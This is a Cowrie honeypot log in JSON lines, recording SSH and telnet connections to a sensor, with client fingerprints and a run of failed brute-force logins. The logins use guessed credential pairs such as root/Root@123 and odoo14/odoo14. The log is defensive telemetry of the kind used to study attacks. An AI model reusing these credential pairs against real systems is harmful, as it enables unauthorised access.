{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:07.744073Z","src_ip":"95.38.165.118","session":"92b794d43198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:08.272223Z","src_ip":"95.38.165.118","session":"92b794d43198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:09.446752Z","src_ip":"95.38.165.118","session":"92b794d43198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":49436,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeab3b837e63","protocol":"ssh","message":"New connection: 95.38.165.118:49436 (10.17.0.5:22) [session: aeab3b837e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:12.285737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:12.339670Z","src_ip":"95.38.165.118","session":"aeab3b837e63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:12.457790Z","src_ip":"95.38.165.118","session":"aeab3b837e63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45968,"dst_ip":"159.203.135.109","dst_port":23,"session":"db3c8c791073","protocol":"telnet","message":"New connection: 69.4.83.194:45968 (159.203.135.109:23) [session: db3c8c791073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:12.935440Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46556,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f50fa10337a","protocol":"telnet","message":"New connection: 69.4.83.194:46556 (159.203.135.109:23) [session: 9f50fa10337a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:13.358582Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:14.752725Z","src_ip":"95.38.165.118","session":"aeab3b837e63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":50152,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e94a2140af4","protocol":"telnet","message":"New connection: 79.139.59.21:50152 (159.203.135.109:23) [session: 4e94a2140af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:15.174406Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56598,"dst_ip":"10.17.0.5","dst_port":22,"session":"92d73e62034b","protocol":"ssh","message":"New connection: 95.38.165.118:56598 (10.17.0.5:22) [session: 92d73e62034b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:17.514062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:17.518674Z","src_ip":"95.38.165.118","session":"92d73e62034b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:17.565720Z","src_ip":"95.38.165.118","session":"aeab3b837e63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:17.682216Z","src_ip":"95.38.165.118","session":"92d73e62034b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:19.969558Z","src_ip":"95.38.165.118","session":"92d73e62034b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:21.157238Z","src_ip":"95.38.165.118","session":"92d73e62034b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56602,"dst_ip":"10.17.0.5","dst_port":22,"session":"23a5f61e0415","protocol":"ssh","message":"New connection: 95.38.165.118:56602 (10.17.0.5:22) [session: 23a5f61e0415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:23.048259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:23.131483Z","src_ip":"95.38.165.118","session":"23a5f61e0415","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:23.917106Z","src_ip":"95.38.165.118","session":"23a5f61e0415","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:24.432617Z","src_ip":"95.38.165.118","session":"23a5f61e0415","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50854,"dst_ip":"159.203.135.109","dst_port":23,"session":"35b038024189","protocol":"telnet","message":"New connection: 69.4.83.194:50854 (159.203.135.109:23) [session: 35b038024189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:24.945091Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:25.601582Z","src_ip":"95.38.165.118","session":"23a5f61e0415","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.25158357620239,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:26.470071Z","src_ip":"178.128.93.180","session":"44afaad77198","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.010531187057495,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:27.127961Z","src_ip":"178.128.93.180","session":"422ea20dd78d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43392,"dst_ip":"10.17.0.5","dst_port":22,"session":"74066117dc3b","protocol":"ssh","message":"New connection: 95.38.165.118:43392 (10.17.0.5:22) [session: 74066117dc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:28.314312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:28.319620Z","src_ip":"95.38.165.118","session":"74066117dc3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:28.480925Z","src_ip":"95.38.165.118","session":"74066117dc3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:29.158897Z","src_ip":"95.38.165.118","session":"74066117dc3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.70916533470154,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:29.735078Z","src_ip":"178.128.93.180","session":"611bd93cb598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:30.376918Z","src_ip":"95.38.165.118","session":"74066117dc3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43408,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f44b4200c9e","protocol":"ssh","message":"New connection: 95.38.165.118:43408 (10.17.0.5:22) [session: 1f44b4200c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:33.387923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:33.392635Z","src_ip":"95.38.165.118","session":"1f44b4200c9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:34.140473Z","src_ip":"95.38.165.118","session":"1f44b4200c9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:35.021067Z","src_ip":"95.38.165.118","session":"1f44b4200c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:36.217786Z","src_ip":"95.38.165.118","session":"1f44b4200c9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":54374,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f1c69668816","protocol":"ssh","message":"New connection: 95.38.165.118:54374 (10.17.0.5:22) [session: 0f1c69668816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:38.479432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:38.801085Z","src_ip":"95.38.165.118","session":"0f1c69668816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:38.804924Z","src_ip":"95.38.165.118","session":"0f1c69668816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:40.363086Z","src_ip":"95.38.165.118","session":"0f1c69668816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":92.88463640213013,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:41.854577Z","src_ip":"178.128.93.180","session":"ae9859e381a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:42.378237Z","src_ip":"95.38.165.118","session":"0f1c69668816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":54384,"dst_ip":"10.17.0.5","dst_port":22,"session":"856866ce0582","protocol":"ssh","message":"New connection: 95.38.165.118:54384 (10.17.0.5:22) [session: 856866ce0582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:44.206922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:44.229358Z","src_ip":"95.38.165.118","session":"856866ce0582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:45.095922Z","src_ip":"95.38.165.118","session":"856866ce0582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:06:45.589796Z","src_ip":"95.38.165.118","session":"856866ce0582","protocol":"ssh"}
